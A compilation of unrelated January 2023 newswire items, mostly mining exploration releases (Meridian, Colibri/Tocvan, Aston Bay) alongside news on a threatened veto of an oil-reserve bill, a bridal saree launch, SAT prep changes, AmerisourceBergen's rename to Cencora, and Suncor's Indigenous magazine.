Email: info@meridianmining.net.br

Ph: +1 (778) 715-6410 (PST)

Technical Note

Geophysical targets are preliminary in nature and not conclusive evidence of the likelihood of a mineral deposit. The gravity program is being executed by Meridian's trained in-house team using a new gravity meter (CG-6 Autograv) purchased from Scintrex. Electromagnetic surveys have been conducted using the SMARTem Geophysical Receiver System manufactured by ElectroMagnetic Imaging Technology (EMIT). Induced polarization surveys have been conducted by the Company's in-house team utilizing its GDD GRx8-16c receiver and 5000W-2400-15A transmitter. Results are sent daily for processing and quality control to the Company's consultancy, Core Geophysics. Modelling of conductivity response is undertaken using industry-standard Maxwell software. In BP sampling, gold was analysed historically be fire assay and base metals by three acid digest and ICP finish. Silver was analysed by samples were analysed by aqua regia digest with an atomic absorption finish.

Qualified Person

Dr. Adrian McArthur, B.Sc. Hons, Ph.D. FAusIMM., CEO and President of Meridian as well as a Qualified Person as defined by National Instrument 43-101, has supervised the preparation of the technical information in this news release.

Stay up to date by subscribing for news alerts here: https://meridianmining.co/contact/

Follow Meridian on Twitter: https://twitter.com/MeridianMining

Further information can be found at: www.meridianmining.co

FORWARD-LOOKING STATEMENTS

Some statements in this news release contain forward-looking information or forward-looking statements for the purposes of applicable securities laws. These statements address future events and conditions and so involve inherent risks and uncertainties, as disclosed under the heading "Risk Factors" in under the heading "Risk Factors" in Meridian's most recent Annual Information Form filed on www.sedar.com. While these factors and assumptions are considered reasonable by Meridian, in light of management's experience and perception of current conditions and expected developments, Meridian can give no assurance that such expectations will prove to be correct. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, Meridian disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events, or results or otherwise.

SOURCE: Meridian Mining UK S

View source version on accesswire.com:https://www.accesswire.com/736453/Meridian-Maps-Multiple-New-EM-Plates-Extending-Out-From-Santa-Helena-Mine


WASHINGTON (dpa-AFX) - Energy Secretary Jennifer Granholm said President Joe Biden will veto a bill by House Republicans limiting the administration's authority to tap the nation's oil reserves, if it is passed by the Congress.



The Strategic Production Response Act limits the drawdown of petroleum in the Strategic Petroleum Reserve (SPR) until the Department of Energy develops a plan to increase the percentage of federal lands leased for oil and gas production - unless the release is for a severe oil supply emergency.



H.R. 21, introduced by Rep. McMorris Rodgers and 31 co-sponsors, is expected to pass in the Republican-controlled House, but its fate is uncertain in the Senate, where Democrats hold the majority.



Granholm said in a news conference that House Republicans are pursuing an extreme agenda that risks worsening supply shortages in times of crisis, and risks raising gas prices.



In order to address price rise and disruptions in oil supply following the Russian invasion of Ukraine last year, President Biden authorized the largest-ever emergency release from the Strategic Petroleum Reserve, which helped the prices to come down. Gasoline price is $1.60 per gallon lower than its peak this summer and below its pre-invasion levels. The Treasury Department estimates that SPR actions reduced prices at the pump by as much as 40 cents per gallon.



Analysts have credited the releases from the Strategic Petroleum Reserve for filling the supply gaps and the lessening of dependence on Russian oil in the global market.



In the opinion of Granholm, H.R. 21 would impose 'unnecessary, unhelpful restrictions on when the SPR can be used to help provide supply'. 'It would require these arbitrary reports regarding energy production on federal lands before waiving any new restrictions. It would interfere with our ability to be responsive to release oil during an international emergency, helping Putin's war aims. It would potentially delay allowing oil to be released for domestic emergencies following a natural disaster or a pipeline outage at home, leaving, again, prices at risk of rising during - in the wake of a market shock because of emergencies due to extreme weather events.'



In a letter she sent to the Hill last week, the Energy Secretary had made it clear that there is nothing standing in the way of domestic oil and gas production. In fact, production is on track for a new record in 2023, according to her.



'If Congress were to pass H.R. 21, the President would veto it. He will not allow the American people to suffer because of the backwards agenda that House Republicans are advancing,' she told reporters.



Separately, the White House said the Biden Administration strongly opposes the bill. 'Production is up by more than 1 million barrels per day under President Biden and is on track to reach a new record this year. Oil and gas companies are currently sitting on thousands of unused but approved permits that they can use to further increase production right now,' it said in a statement on Monday.



Copyright(c) 2023 RTTNews.com. All Rights Reserved



Copyright RTT News/dpa-AFX
Chiro's By Jigyasa, a premier online store for fine handmade Indian formalwear, has launched a new bridal line.

Katy, Texas--(Newsfile Corp. - January 24, 2023) - Chiro's By Jigyasa's new bridal collection features carefully curated handmade wedding sarees that have been crafted from georgette, pure silk, tussar silk and net fabrics. Chiro's By Jigyasa has chosen to use these high-quality natural fabrics in their new line of wedding sarees as they believe these diaphanous and richly lustrous fabrics offer any bride-to-be both luxury and elegance on their wedding day.

More information is available at https://chirosbyjigyasa.com/collections/wedding-saree





Georgette & Pure Net Designer Wedding Sarees Launched by Chiro's By Jigyasa

To view an enhanced version of this graphic, please visit:

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In their new 2023 bridal collection, Chiro's By Jigyasa has taken inspiration from the dominant trends in Indian weddings that have been tipped for this year.

As such, with their new collection, Chiro's By Jigyasa has taken their stylistic cues from the current wedding saree trends. These include for heritage weaves, like the gilded and ornate Banarasi weave. Chiro's By Jigyasa knows lightweight fabrics like net are also in amongst brides this year, as are reimagined blouses, belted sarees, pastel and ivory sarees, and hybrid silhouettes.

One highlight of the new bridal collection is their new Lightweight Net Saree with Contrast Blouse, which features a dusty rose pink net saree with delicate floral embroidery and a rich plum red blouse with the same pink embroidered accents.

Also popular is their new Indian Saree Dress in Georgette, which comes in a very soft muted pink with a traditional ivory border and glistening pearl embroidery. For those brides who want to go bold, the store's new Banarasi Malai Silk Sari has been handmade in vivid hot pink silk with shimmering gold applique.

Chiro's By Jigyasa is confident that they have a suitable saree for all brides and for all weddings. This is because their new collection is deeply diverse in colors, heritage styles, and embroidery designs; with both heavy and light embroidered wedding sarees available.

The customer service team at Chiro's By Jigyasa is also standing by to help any bride with any questions they may have about their new line of wedding sarees.

Jigyasa Anand, company founder, said, "Chiro's by Jigyasa is the ultimate destination for Indian bridal wear. Our latest collection of Indian wedding dresses is designed exclusively for you, to bring out the true Indian experience that you had back home. Our team understands the intricate threadwork, beadwork, and rich ethnic textile designs that make traditional Indian wedding sarees so graceful-and we've brought all of that to our store."

More details can be found at https://chirosbyjigyasa.com/collections/wedding-saree

Contact Info:

Name: Jigyasa Anand

Email: support@chirosbyjigyasa.com

Organization: Chiro's By Jigyasa

Address: 19822 Almond Park Drive, Katy, TX 77450, United States

Website: https://chirosbyjigyasa.com

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152281
KD College Prep, a test prep and college counseling company based in the Dallas-Fort Worth Metroplex, finalizes instructional changes to prepare students for the migration of College Board's PSAT/NMSQT(R) and SAT(R) tests to a new digital format next year.

Coppell, Texas--(Newsfile Corp. - January 24, 2023) - KD College Prep, a test prep and college counseling company based in the Dallas-Fort Worth Metroplex, finalizes instructional changes to prepare students for the migration of College Board's PSAT/NMSQT and SAT tests to a new digital format next year.

Early in 2022, College Board (the organization that administers the PSAT/NMSQT and the SAT tests) announced that it would offer the tests digitally in the U.S. starting in 2023 and 2024. In addition to format changes, adjustments in test content could pose significant challenges for students.

KD College Prep Announces Test Prep Classes and Counseling for the New SAT Test

To view an enhanced version of this graphic, please visit:

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Scoring on both the PSAT/NMSQT and the SAT tests will remain the same, although College Board will reduce the length of the SAT test by approximately an hour.

The new digital format will also be adaptive, meaning it will vary from student to student. After a student has finished the first module, one of two potential second-stage modules will appear based on the number of questions the student answers correctly initially. Generally, one module has questions that are more difficult than the other.

The new SAT test format will still feature a verbal and a math section. The verbal section (made up of reading and writing questions) will have shorter reading passages with a single question after each. With less questions, students will rely more on test-taking strategies to find the correct answer on time. The test will group together questions that test similar skills and knowledge, arranged from easiest to hardest.

The math section allows students to use a built-in calculator on the entire section, which is a significant change. Students will find the same math concepts-Algebra 1 and 2, geometry, and trigonometry. "Free response" questions will show up throughout the section, instead of only at the end.

"College Board's recent announcement about making the SAT digital brings back many familiar memories. Over the last 30 years, KD College Prep has seen many adjustments, reconstructions, and makeovers by College Board. With each change we have adapted and found new and improved ways to prepare our students for college," says David Dillard, CEO of KD College Prep.

Since 1992, KD College Prep has helped students prepare for college admissions tests through in-person or live-online prep courses and activities. The organization has four campuses in the DFW area and currently serves students in 37 states across the U.S.

SAT is a trademark registered and/or owned by the College Board. PSAT/NMSQT is a registered trademark of the College Board and the National Merit Scholarship Corporation. KD College Prep has no affiliation with these institutions and is not approved or endorsed by them.

CONTACT:

Name: David Dillard

Organization: KD CollegePrep

Address: 621 TX 121 Suite 450 Coppell, TX 75019, United States

Phone: (972) 906-8825

Contact Info:

Name: Jenny Moore

Email: j.moore@kdcollegeprep.com

Organization: KD College Prep

Address: 621 Texas 121 Suite 450, Coppell, TX 75019, United States

Website: https://kdcollegeprep.com/

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152280
Dieppe, New Brunswick--(Newsfile Corp. - January 24, 2023) - Colibri Resource Corporation (TSXV: CBI) ("Colibri" or the "Company") is pleased to report that its option partner Tocvan Ventures (CSE:TOC) has announced that it has begun preparations to complete a bulk sample at the Pilar Gold & Silver Project in Sonora, Mexico.

"After several years of hard work, our partners are advancing the Pilar project to a stage where we can now imagine it being an operating open pit heap leach gold mine in the not-too-distant future. A successful bulk sample will be a large step in the right direction for unlocking the value of the project" said Ian McGavney - COO of Colibri.

Tocvan's bulk sample will consist of up to 1,000 tonnes of oxide-gold material from surface exposures across the project area with a primary focus on the Main Zone and 4-T Trends. Bulk Sample material will be extracted and prepared in February for processing by heap-leach method at a private mining facility approximately 25 kilometers to the west of Pilar. Data generated from the bulk sample will provide an understanding of the expected head-grades and recovery percentages of gold and will help optimize future onsite production facilities.

Tocvan is in year 4 of a 5-year agreement to earn an initial 51% of Colibri's Pilar Gold & Silver Project. For full details of Colibri's agreement with Tocvan please see the Company's news release dated September 24th, 2019 .

Tocvan News Release: (January 24th, 2023 - Select Excerpts)

Calgary, Alberta - January 24, 2023- Tocvan Ventures Corp. (the "Company") is pleased to announce it has begun preparation for an initial Bulk Sample at its Pilar Gold-Silver Project in Sonora, Mexico. Up to 1,000 tonnes of oxide-gold material will be extracted from select areas exposed at surface across the project area, focusing on the Main Zone and 4-T Trends where preliminary column leach studies have returned promising head-grade and recovery results (see summary below). Bulk Sample material will be extracted and prepared in February for processing by heap-leach method at a private mining operation less than 25 kilometers to the west of Pilar. Information from the sample will aim to provide a more detailed account of expected head-grade and recovery percentage of gold along with providing key information to optimize future production facilities. In coordination with the Bulk Sample, additional metallurgical sampling will be completed to identify gold characteristics to further improve gold extraction techniques. The process will be managed by an independent qualified professional specializing in the metallurgy of oxide-gold deposits. Total duration of the processing and analysis of the bulk sample is expected to span three to four months depending on the rate of precious metals actively recovered through the heap-leach process. The information provided from the sample will be used for planning in coordination for permitting of full-scale mine and process facilities on-site at Pilar.

"We are excited for this important next step at Pilar that will enhance our understanding of mineralization and open the door to new opportunities," stated Brodie Sutherland, CEO. "Information collected from the bulk sample and metallurgical test work will give investors even more confidence in the potential of the project and show the possibilities to produce gold and silver from Pilar. In addition, it will prove Pilar is an attractive target for other producers of oxide-gold in the region. All during a time where we are seeing a renewed interest towards precious metals through strong gold and silver prices. Beyond the bulk sample, there remains a tremendous opportunity to expand the mineralized area at Pilar as a large part of the 1.2-kilometer corridor remains untested and open for exploration and expansion..."

Pilar Metallurgy Highlights

2021 Bottle Roll Results SGS (Durango) - Main Zone RC Drill Hole Composites (from JES-20-32, 94.6m at 1.6 g/t Au)

Sample 494801 - 1.15 g/t Au Head Grade, 91.6% Recovery of Au

Head Grade, Recovery of Au Sample 494804 - 0.63 g/t Au Head Grade, 90.6% Recovery of Au

2022 Column Leach Study

Four (4) Column Leach Samples from Surface Trenches across Main Zone and 4T Trend

Head Grade Range: 0.4 g/t Au to 5.0 g/t Au*

Gold Recovery Range: 88.9% to 96.9%*

*Important Note - Testing was completed by a local private producer and contractor based in Sonora, Mexico. The facility used to calculate head-grade and recovery is not a certified lab.

Pilar Project Overview:

Over 23,000 meters drilled to date

to date Gold-Silver Mineralization defined along a 600-meter Trend and expanding over a 1.2-kilometer corridor

Drilling Highlighted by: 116.9-meters of 1.2 g/t Au , including 10.2-meters of 12 g/t Au and 23 g/t Ag

, including and Preliminary Gold Recovery from Bottle-Roll and Column Leach above 85%

About the Pilar Property

The Pilar Gold-Silver property has recently returned some of the regions best drill results. Coupled with encouraging gold and silver recovery results from metallurgical test work, Pilar is primed to be a potential near-term producer. Pilar is interpreted as a structurally controlled low-sulphidation epithermal system hosted in andesite rocks. Three primary zones of mineralization have been identified in the north-west part of the property from historic surface work and drilling and are referred to as the Main Zone, North Hill and 4-T. The Main Zone and 4-T trends are open to the southeast and new parallel zones have been recently discovered. Structural features and zones of mineralization within the structures follow an overall NW-SE trend of mineralization. Mineralization extends along a 1.2-km trend, only half of that trend has been drill tested so far. To date, over 23,000 m of drilling has been completed.

2022 Phase III Diamond Drilling Highlights include ( all lengths are drilled thicknesses ): 116.9m @ 1.2 g/t Au, including 10.2m @ 12 g/t Au and 23 g/t Ag 108.9m @ 0.8 g/t Au, including 9.4m @ 7.6 g/t Au and 5 g/t Ag 63.4m @ 0.6 g/t Au and 11 g/t Ag, including 29.9m @ 0.9 g/t Au and 18 g/t Ag

2021 Phase II RC Drilling Highlights include ( all lengths are drilled thicknesses ): 39.7m @ 1.0 g/t Au, including 1.5m @ 14.6 g/t Au 47.7m @ 0.7 g/t Au including 3m @ 5.6 g/t Au and 22 g/t Ag 29m @ 0.7 g/t Au 35.1m @ 0.7 g/t Au

2020 Phase I RC Drilling Highlights include ( all lengths are drilled thicknesses ): 94.6m @ 1.6 g/t Au, including 9.2m @ 10.8 g/t Au and 38 g/t Ag; 41.2m @ 1.1 g/t Au, including 3.1m @ 6.0 g/t Au and 12 g/t Ag ; 24.4m @ 2.5 g/t Au and 73 g/t Ag, including 1.5m @ 33.4 g/t Au and 1,090 g/t Ag

15,000m of Historic Core & RC drilling. Highlights include: 61.0m @ 0.8 g/t Au 16.5m @ 53.5 g/t Au and 53 g/t Ag 13.0m @ 9.6 g/t Au 9.0m @ 10.2 g/t Au and 46 g/t Ag



ABOUT COLIBRI RESOURCE CORPORATION:

Colibri is a Canadian-based mineral exploration company listed on the TSX-V (CBI) and is focused on acquiring and exploring prospective gold & silver properties in Mexico. The Company holds six highly prospective precious metal projects of which five have planned exploration programs for calendar 2023.

For more information about all Company projects please visit: www.colibriresource.com.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Notice Regarding Forward-Looking Statements:

This news release contains "forward-looking statements". Statements in this press release which are not purely historical are forward-looking statements and include any statements regarding beliefs, plans, expectations or intentions regarding the future. Actual results could differ from those projected in any forward-looking statements due to numerous factors. These forward-looking statements are made as of the date of this news release, and the Company assumes no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those projected in the forward-looking statements. Although the Company believes that the plans, expectations and intentions contained in this press release are reasonable, there can be no assurance that they will prove to be accurate.

For information contact: Ronald J. Goguen, President, Chairperson and Director, Tel: (506) 383-4274, rongoguen@colibriresource.com

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152288
TORONTO, ON / ACCESSWIRE / January 24, 2023 / Aston Bay Holdings Ltd. (TSXV:BAY)(OTCQB:ATBHF) ("Aston Bay" or the "Company") today reports plans for a proposed expansion of drilling and exploration activities at the Storm Copper Project ("Storm" or the "Project") on Somerset Island, Nunavut, Canada. This will be the second drilling program for American West Metals Limited ("American West"), who are the project operator, since entering an option agreement with Aston Bay in March 2021.

Highlights

Multi-faceted program planned for 2023 - including drilling, geophysics, and studies for a potential direct shipping product ("DSP") mining operation

Extensive drilling program planned with a focus on: Resource definition and expansion of the near surface, high-grade copper mineralization across several prospects Exploration to follow-up the major discovery of a sediment hosted copper system identified in 2022 program

Reverse Circulation (RC) drill rig to join the two diamond drill rigs currently onsite

Surface geophysical programs are expected to commence during March at Storm and at the underexplored Blizzard, Tornado and Tempest prospect areas

Permitting roadmap underway for the potential direct shipping product mine development with baseline environmental survey to begin in Q2 2023

"We are excited to have our exploration partners American West Metals embark on a significantly expanded exploration program for this upcoming season," stated Thomas Ullrich, CEO of Aston Bay.

"Surface geophysics is expected to commence in March, followed by a major drilling program. The addition of a reverse circulation drill rig will facilitate lower-cost delineation drilling at the known zones of near-surface copper mineralization, while the high-resolution geophysical surveys will generate targets for new discoveries with the diamond drill. This ambitious program, in parallel with permitting, beneficiation and baseline studies, will significantly advance the project in 2023."

Figure 1: Massive bornite from approximately 50.9m downhole in 2022 drill hole ST22-05 (see September 1, 2022 news release), which returned assays of 41m* @ 4.18% Cu from 38m downhole (*core length).

RESOURCE DEFINITION AND EXPANSION

The footprint of near-surface, high-grade copper mineralization at Storm has been defined over an area of approximately 400,000 square metres. Four main zones of mineralization have been identified to date (Figures 2 and 3).

The recent drilling at the 2750N Zone has highlighted the continuity of the copper zones, and the near-surface mineralization remains a focus for resource drilling due to its high grades, shallow position, and potential to provide a significant resource base for an initial low-cost open-pit mining scenario.

Outside of the 2750N Zone, the areas of immediate interest are the 2200N Zone and 4100N Zone, where thick intervals of copper mineralization have also been defined over a broad area. The planned drilling is designed to expand and test the continuity of these zones with a view to significantly increase the resource potential of the high-grade copper mineralization.

A Reverse Circulation (RC) drill rig will be used this year for the first time at the Storm Project. The drill rig is capable of drill depths up to 200m, ideally suited to shallow resource definition and will work in parallel with the diamond drill rigs currently on site.

The RC rig is expected to drill until September and has the potential to complete over 10,000m of drilling during the 2023 program.

2200N Zone

The 2200N Zone is located approximately 540m to the south of the 2750N Zone. The zone is characterised by extensive outcropping fractured massive chalcocite mineralization and copper gossans over several hundred metres and is located within an area of strong faulting related to the main graben structures, which are an important control on mineralization.

Historical drilling has intersected bornite and chalcocite mineralization including 6.4m @ 7.38% Cu from surface and 22.35m @ 1.56% Cu from 22.9m downhole (ST97-03; all lengths are core length). The mineralogy and style of mineralization are similar to that of the 2750N Zone. Drill hole and geochemical data indicate that the main part of the 2200N Zone may be up to 300m long, 60m wide and 40m thick, giving strong encouragement for further drilling success in this area.

Potential extensions to this zone are supported by the presence of a shallow and strong Fixed Loop Electromagnetic (FLEM) anomaly that was defined in a 2021 survey (see December 14, 2021 news release).

Both the 2750N and 2200N Zones are located above a large, flat-lying and deeper 1,800m x 1,000m FLEM anomaly that was also identified in the 2021 EM program. This feature is coincident with strong gravity anomalism between the major graben faults, which is an ideal location for the accumulation of sedimentary copper mineralization.

Figure 2: Plan view of the 2200N and 2750N Zones showing copper grade distribution within drilling, EM anomalies, outcropping copper mineralization overlaying regional geology. Stated drill hole intersections are all core length, and true width is expected to be 60% to 95% of core length.

4100N Zone

The 4100N Zone is a blind zone of mineralization defined by a historical Versatile Time domain Electromagnetics (VTEM) anomaly that is over 1km long, and multiple untested shallow FLEM anomalies that were defined in the 2021 surface FLEM program. Given the lack of false-positive anomalies encountered in drilling of EM targets to date, and extensive copper mineralization in historical holes, these untested EM conductors have excellent potential to represent further occurrences of massive copper sulfides.

Historical drilling at the 4100N Zone includes intersections such as 15m @ 3.88% Cu from 72.4m downhole (ST99-47), and 4.8m @ 3.7% Cu from 20.3m and 5.8m @ 3.6% Cu from 38.6m downhole (ST99-53; all lengths are core length). The copper mineralization intersected to date is dominantly chalcocite, which occurs in steeply dipping veins and breccias.

The 4100N offers considerable room for expansion. The known mineralization in the zone extends over an area of at least 1,000m x 400m and is open to the north, east and west, with potential for deep extensions to the mineralization across a fault on the south side of the Zone. Seventeen holes have been drilled at spacings of 100m to 200m, and all have encountered copper mineralization. The mineralization drilled to date is extensive and lies at a predictable stratigraphic position, providing an opportunity for close-spaced drilling to define further significant mineralization.

Figure 3: Plan view of the 4100N Zone showing copper grade distribution within drilling, EM anomalies and faults overlaying regional geology. The 4100N Zone has drill hole copper intersections supported by untested EM anomalies over 1km of strike. Stated drill hole intersections are all core length, and true width is expected to be 60% to 95% of core length.

EXPLORING THE EMERGING SEDIMENT HOSTED COPPER DISCOVERY

The recent discovery in drill hole ST22-10 (see September 22, 2022 news release) suggests that known copper prospects at Storm may be related to a large, sediment hosted style copper system below the near-surface deposits (Figure 4).

The interpretation of the geochemical and geological data from drill hole ST22-10 indicates that the hole has intersected the margins of a mineralized system (Figure 4). This interpretation is supported by a series of coincident electromagnetic (EM), induced polarization (IP) and gravity anomalies that are over 5km long, and are associated with the 4100N Zone (Figures 3 and 5).

The other near-surface copper occurrences at Storm (2750N, 2200N and 3500N Zones) are also associated with large geophysical anomalies, which further supports the potential association between the two types of mineralization.

Figure 4: Conceptual geological and exploration targeting model for the Storm Project, showing depth of current drilling and conceptual location of discovery drill hole ST22-10.

Figure 5: Plan view of the Storm Prospect area showing drilling, major graben faults, deep electromagnetic plates and induced polarization anomalies overlaying regional Fourier gravity image (Falcon). Note that the coincident IP, EM and strong gravity anomalies lay adjacent to, or between the major graben faults - favourable locations for the accumulation of sedimentary copper mineralization.

EXPANSION OF EXPLORATION INTO NEW AREAS

New high-resolution geophysical surveys will commence during March and will involve a closely spaced ground gravity survey and moving/fixed loop EM surveys. The surveys will cover the known prospects to better define the existing Falcon airborne gravity and FLEM targets, and extend into new, previously untested areas with the aim of expanding the prospective footprint of copper mineralization at the project.

These new areas include the Blizzard, Tornado and Tempest Prospects. The Tempest Prospect is located approximately 40 kilometres to the south of the Storm deposits, and it contains a large (>250m long) copper gossan exposed at surface that has assayed up to 32% Cu (Figures 6 & 7). Its location and distance from Storm highlight the extensive nature of the prospective copper horizon within the Project area.

Figure 6: Map showing the planned surface geophysical surveys for 2023, highlighting the expansion of activities into the Tornado, Blizzard, and Tempest Prospects.

PRELIMINARY ECONOMIC EVALUATION ON DSP OPERATION UNDERWAY

Work is continuing to progress the potential near-surface mine development pathway for the Storm Project, in parallel with the accelerated exploration and delineation program.

Beneficiation and metallurgical test work on drill core from the 2022 field season (ST22-02) will create a definitive processing flow sheet for a direct shipping product (DSP) from the representative near-surface Storm mineralization. Previous test work on these mineralization styles has produced a >53% copper direct shipping product using a full-scale ore sorter and with no further processing or optimisation (see April 11, 2022 news release).

The potential to produce a high value and high margin DSP at Storm could present an opportunity to provide a short lead time potential pathway to generating revenue from the project while continuing to explore for further discovery. Ausenco has been engaged and has commenced work on defining and initiating the permitting pathway for this style of operation at Storm.

This work will also include the commencement of environmental baseline studies during Q2 2023 within the Storm Prospect area and a newly defined transport corridor between the Storm Prospect area and the coast.

Figure 7: Prospect location map of the Nunavut Project highlighting the main prospective copper and zinc stratigraphic horizons.

About the Storm Copper and Seal Zinc-Silver Projects, Nunavut

The Nunavut property consists of 117 contiguous mining claims and six prospecting permits covering an area of approximately 302,725 hectares on Somerset Island, Nunavut, Canada. The Storm Project comprises both the Storm Copper Project, a high-grade sediment hosted copper discovery (intersections including 110m* @ 2.45% Cu from surface and 56.3m* @ 3.07% Cu from 12.2m) as well as the Seal Zinc Deposit (intersections including 14.4m* @ 10.58% Zn, 28.7g/t Ag from 51.8m and 22.3m* @ 23% Zn, 5.1g/t Ag from 101.5m). Additionally, there are numerous underexplored targets within the 120-kilometre strike length of the mineralized trend, including the Tornado copper prospect where 10 grab samples yielded >1% Cu up to 32% Cu in gossans.

*Stated drill hole intersections are all core length, and true width is expected to be 60% to 95% of core length.

Figure 8: Storm Copper Project, Location Map.

Qualified Person

Michael Dufresne, M.Sc., P.Geol., P.Geo., is a qualified person as defined by National Instrument 43-101 and has reviewed and approved the scientific and technical information in this press release.

About Aston Bay Holdings

Aston Bay is a publicly traded mineral exploration company exploring for high-grade copper and gold deposits in Virginia, USA, and Nunavut, Canada. The Company is led by CEO Thomas Ullrich with exploration in Virginia directed by the Company's advisor, Don Taylor, the 2018 Thayer Lindsley Award winner for his discovery of the Taylor Pb-Zn-Ag Deposit in Arizona. The Company is currently exploring the high-grade Buckingham Gold Vein in central Virginia and is in advanced stages of negotiation on other lands with high-grade copper potential in the area.

The Company is 100% owner of the Storm Project property, which hosts the Storm Copper Project and the Seal Zinc Deposit and has been optioned to American West Metals Limited.

About American West Metals Limited

AMERICAN WEST METALS LIMITED (ASX: AW1) is an Australian clean energy mining company focused on growth through the discovery and development of major base metal mineral deposits in Tier 1 jurisdictions of North America. Our strategy is focused on developing mines that have a low-footprint and support the global energy transformation.

Our portfolio of copper and zinc projects in Utah and Canada include significant existing resource inventories and high-grade mineralisation that can generate robust mining proposals. Core to our approach is our commitment to the ethical extraction and processing of minerals and making a meaningful contribution to the communities where our projects are located.

Led by a highly experienced leadership team, our strategic initiatives lay the foundation for a sustainable business which aims to deliver high-multiplier returns on shareholder investment and economic benefits to all stakeholders.



For further information on American West, visit: www.americanwestmetals.com.

FORWARD-LOOKING STATEMENTS

Statements made in this news release, including those regarding the Option Agreement, grant of the Option and the expected closing date, American West's interest in the Storm Project and its other acquisitions and plans, plans for the upcoming field season, management objectives, forecasts, estimates, expectations, or predictions of the future may constitute "forward-looking statement", which can be identified by the use of conditional or future tenses or by the use of such verbs as "believe", "expect", "may", "will", "should", "estimate", "anticipate", "project", "plan", and words of similar import, including variations thereof and negative forms. This press release contains forward-looking statements that reflect, as of the date of this press release, Aston Bay's expectations, estimates and projections about its operations, the mining industry and the economic environment in which it operates. Statements in this press release that are not supported by historical fact are forward-looking statements, meaning they involve risk, uncertainty and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements. Although Aston Bay believes that the assumptions inherent in the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which apply only at the time of writing of this press release. Aston Bay disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise, except to the extent required by securities legislation.

For more information contact:

Thomas Ullrich, Chief Executive Officer

thomas.ullrich@astonbayholdings.com

(416) 456-3516

Sofia Harquail, IR and Corporate Development

sofia.harquail@astonbayholdings.com

(647) 821-1337

SOURCE: Aston Bay Holdings Ltd.

View source version on accesswire.com:https://www.accesswire.com/736442/Aston-Bay-Announces-Accelerated-2023-Exploration-and-Resource-Delineation-Program-at-Storm-Copper-Project-Nunavut
Unified corporate identity reflects the organization's global reach, impact, and purpose

AmerisourceBergen (NYSE: ABC) today announced its intent to change its name to better reflect its bold vision and purpose-driven approach to creating healthier futures. AmerisourceBergen intends to become Cencora. The new name represents a unified presence that will continue to fuel the company's ongoing growth strategy and advance its impact across healthcare.

"Over time, we have established ourselves as a trusted industry partner that prioritizes innovation, advocates for patient access, and advances strategic partnerships across the global pharmaceutical supply chain. To further bolster our position, we must continue to adapt and evolve within our dynamic industry as we pursue the goal of enhancing health outcomes. Building a unified brand is fundamental to our identity as a global healthcare company. We believe our new name better reflects who we are today and our impact across pharmaceutical care," said Steven H. Collis, Chairman, President Chief Executive Officer of AmerisourceBergen.

The name Cencora is inspired by customers and team members around the world. In addition, a shared identity will create a more inclusive experience for employees as well as a stronger employer brand to attract talent and increase employee loyalty, retention, and performance. The name tells a compelling story, boldly differentiates the company, and was created with a future-oriented mindset. AmerisourceBergen intends to begin operating as Cencora in the second half of calendar year 2023.

The change to Cencora is aligned with the organization's growth strategy and continued emphasis on innovation. AmerisourceBergen has focused on supporting pharmaceutical advancement and access for patients, manufacturers, and providers across the global healthcare supply chain.

Operating as Cencora, a unified and internationally inclusive name and brand, the company will continue to invest in and focus on its core pharmaceutical distribution business, while also growing its platform of pharma and biopharma services to support pharmaceutical innovation and access.

For more information, visit: www.cencora.com

About AmerisourceBergen

AmerisourceBergen is a leading global pharmaceutical solutions organization centered on improving the lives of people and animals around the world. We partner with pharmaceutical innovators across the value chain to facilitate and optimize market access to therapies. Care providers depend on us for the secure, reliable delivery of pharmaceuticals, healthcare products, and solutions. Our 44,000+ worldwide team members contribute to positive health outcomes through the power of our purpose: We are united in our responsibility to create healthier futures. AmerisourceBergen is ranked #10 on the Fortune 500 and #21 on the Global Fortune 500 with more than $200 billion in annual revenue. Learn more at www.amerisourcebergen.com.

Cautionary Note Regarding Forward-Looking Statements

Any statements included in this current report which pertain to future financial and business matters are "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. These statements are based on management's current expectations and are subject to numerous risks, uncertainties and other unpredictable or uncontrollable factors which could cause future results to differ materially from those expressed in the forward-looking statements. The forward-looking statements speak only as of the date of this report and the Company undertakes no obligation, and does not intend, to update these forward-looking statements to reflect events or circumstances occurring after the date of this report. Additional factors that management believes could cause actual outcomes and results to differ materially from those described in forward-looking statements are set forth (i) in Item 1A (Risk Factors), in the Company's Annual Report on Form 10-K for the fiscal year ended September 30, 2022 and elsewhere in that report and (ii) in other reports filed by the Company pursuant to the Securities Exchange Act, which are available at investor.amerisourcebergen.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005416/en/

Contacts:

Media:

Lauren Esposito

215-460-6981

lesposito@amerisourcebergen.com

Investors:

Bennett S. Murphy

610-727-3693

bmurphy@amerisourcebergen.com
NORTHAMPTON, MA / ACCESSWIRE / January 24, 2023 / As Canadians, we have a tremendous opportunity to learn and work alongside Indigenous Peoples to strengthen our country. As part of reconciliation, Suncor continues to understand how Indigenous communities and authentic, meaningful relationships with the people who live near Suncor's operating sites and offices are foundational to our business.

We are pleased to share a new edition of Pathways Indigenous Review magazine.

Inside Pathways Magazine 2022

Produced in Treaty 7 territory, each story within Pathways magazine brings something different to light, from the encouraging words of an author to entrepreneurs who take care of their community, to water protectors who dedicate their lives to rivers, lakes and oceans. There are stories of accomplishment and those that shine a light on the challenges and societal issues still facing Indigenous Peoples today-stories of loss and adversity, but also determination and strength.

Since 2010, Syncrude has produced Pathways magazine-an annual publication featuring the inspiring stories of Indigenous Peoples in the Wood Buffalo region of northeastern Alberta. As Suncor became the operator of Syncrude in 2021, the opportunity arose to expand and include stories from across Suncor's operating areas, including Fort Chipewyan, Alta. to St. John's, N.L., and places in between.

Pathways magazine represents Suncor's ongoing commitment to the Journey of Reconciliationandincludes honouring the spirit and intent of the treaties and living side-by-side with mutual respect, reciprocity and responsibility.

The most recent edition of Pathways magazine, along with previous editions, can be viewed here. Any questions or feedback regarding the magazine can be sent to info@suncor.com.

Read Report

